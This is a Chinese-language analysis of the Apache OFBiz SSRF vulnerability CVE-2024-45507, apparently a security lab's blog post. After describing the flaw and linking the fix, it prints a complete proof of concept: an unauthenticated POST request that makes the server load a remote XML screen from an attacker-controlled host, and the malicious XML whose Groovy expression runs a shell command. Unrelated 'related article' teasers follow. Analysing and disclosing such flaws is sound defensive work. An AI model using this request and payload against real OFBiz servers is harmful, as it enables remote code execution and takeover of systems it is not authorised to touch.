Apache OFBiz SSRF漏洞CVE-2024-45507分析

server/2024/10/18 15:58:33/

Apache OFBiz介绍

Apache OFBiz 是一个功能丰富的开源电子商务平台,包含完整的商业解决方案,适用于多种行业。它提供了一套全面的服务,包括客户关系管理(CRM)、企业资源规划(ERP)、订单管理、产品目录、在线交易等。OFBiz提供了强大的 Java Web 框架、成熟的 CRM 和 ERP 功能,Apache OFBiz 的架构设计考虑了开发人员的便利性,它的灵活性和模块化设计使得它能够适应各种业务需求,无论是小型企业还是大型企业。Apache OFBiz 已经发展了超过10年,作为一个企业范围内的 ERP 解决方案,它已经显示出其稳定性和成熟性,通过使用 Apache OFBiz,企业可以实现高效的业务流程自动化,提高运营效率,降低成本。

漏洞背景

  近期,Apache Ofbiz团队发布了一则安全通知,宣布修补了一个存在于Apache Ofbiz软件中的严重安全漏洞,该漏洞被分配为CVE-2024-45507。由于Apache OFBiz在从Groovy加载文件时未对用户提交的数据进行过滤,未经身份验证的恶意攻击者通过服务器端请求伪造的方式向任意系统发起请求,加载远程恶意xml执行任意代码,从而获取目标服务器的控制权限,具体来说,攻击者可以构造一个恶意的 XML 文件,并通过 SSRF 攻击让 Apache OFBiz 的服务器加载并执行这个文件中的 Groovy 脚本。

漏洞分析

查看官方的修复代码如下:

https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3

之前默认能接收远程文件来渲染screen。

比如该screen,screen 文件是 OFBiz 的一部分,用于定义屏幕布局。这段代码定义了一个名为 StatsSinceStart 的屏幕,用于展示统计信息。

在XML配置文件中,定义了一个名为`的标签,其 name`属性设置为 "StatsDecorator",而location属性则通过 ${parameters.statsDecoratorLocation} 动态获取。当Ofbiz解析这个XML文件时,它会根据指定的参数再次渲染该段代码。

之后再调用this.getLocation方法解析传入模板中的parameters参数。

在此场景中,可以通过URL传递一个参数来动态指定标签的 location 属性的值。getScreenFromLocation 方法中,会根据URL传递的参数来获取配置信息,并将其作为模板进行解析处理。

POC为:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: server:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://vps /poc.xml

接收的URL将被视作一个模型屏幕(modelScreen)并进行解析,参照可以根据代码中的示例来构建一个概念验证包含命令的XML文件。

参考其语法,包含可执行命令的远程XMl文件构造如下:

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"><screen name="StatsDecorator"><section><actions><set value="${groovy:'touch /tmp/poc.execute();}"/></actions></section></screen>
</screens>

向ofbiz发送该POC请求。

之后查看服务器目录,成功执行了命令。

作者:罗晟

2024年9月27日

洞源实验室


http://www.ppmy.cn/server/125881.html

相关文章

在Vue中使用ECharts与v-if的问题及解决方案

在Vue项目中集成ECharts图表库时&#xff0c;开发者经常会遇到使用v-if指令控制ECharts容器显示时&#xff0c;图表无法正常渲染或显示报错的问题。特别是当ECharts图表被v-if条件控制显示时&#xff0c;常常会遇到“TypeError: Cannot read property getAttribute of null”这…

Go函数式编程与闭包

1. 什么是函数式编程 函数式编程&#xff08;Functional Programming&#xff09;是一种编程范式&#xff0c;它将计算视为数学函数的求值&#xff0c;强调使用高阶函数和不可变数据。在函数式编程中&#xff0c;函数是第一类公民&#xff0c;意味着函数可以像其他数据类型一样…

vite 构建运行自定义脚本

使用 Vite 的插件系统 1. 创建一个 Vite 插件 可以使用 JavaScript 或 TypeScript 编写一个 Vite 插件&#xff0c;在插件的特定钩子函数中执行自定义脚本。 - 例如&#xff0c;在build钩子中执行一个命令&#xff1a; const { execSync } require("child_process&qu…

以太网交换安全:MAC地址表安全

一、MAC地址表安全 MAC地址表安全是网络安全中的一个重要方面&#xff0c;它涉及到网络设备的MAC地址表的管理和保护。以下是对MAC地址表安全的详细介绍&#xff1a; &#xff08;1&#xff09;基本概念 定义&#xff1a;MAC地址表是网络设备&#xff08;如交换机&#xff0…

【大数据】大数据运维方案浅析总结

1. 引言 在大数据时代&#xff0c;如何高效管理和维护大规模数据平台&#xff0c;成为许多企业面临的重要挑战。本文将对市面上一些流行的大数据运维管理方案进行全面分析&#xff0c;包括Cloudera的CDH和CDP、Hortonworks的HDP、Apache的Ambari、国产开源平台Datasophon&#…

安全中心 (SOC) 与 网络运营中心 (NOC)

NOC 和 SOC 之间的区别 网络运营中心 (NOC) 负责维护公司计算机系统的技术基础设施&#xff0c;而安全运营中心 (SOC) 则负责保护组织免受网络威胁。 NOC 专注于防止自然灾害、停电和互联网中断等自然原因造成的网络干扰&#xff0c;而 SOC 则从事监控、管理和保护。 NOC 提…

git使用“保姆级”教程4——版本回退及分支讲解

一、版本回退 1、历史回退(版本回退)——命令行git reset --hard 版本编号 注意&#xff1a;当前命令会让工作区的内容发生改变&#xff0c;可以理解成历史区(master分支)直接回到工作区比如&#xff1a;从版本4回到版本3&#xff0c;则工作区只会显示版本3的代码内容 1.1、指…

基于Hive和Hadoop的图书分析系统

本项目是一个基于大数据技术的图书分析系统&#xff0c;旨在为用户提供全面的图书信息和深入的图书销售及阅读行为分析。系统采用 Hadoop 平台进行大规模数据存储和处理&#xff0c;利用 MapReduce 进行数据分析和处理&#xff0c;通过 Sqoop 实现数据的导入导出&#xff0c;以…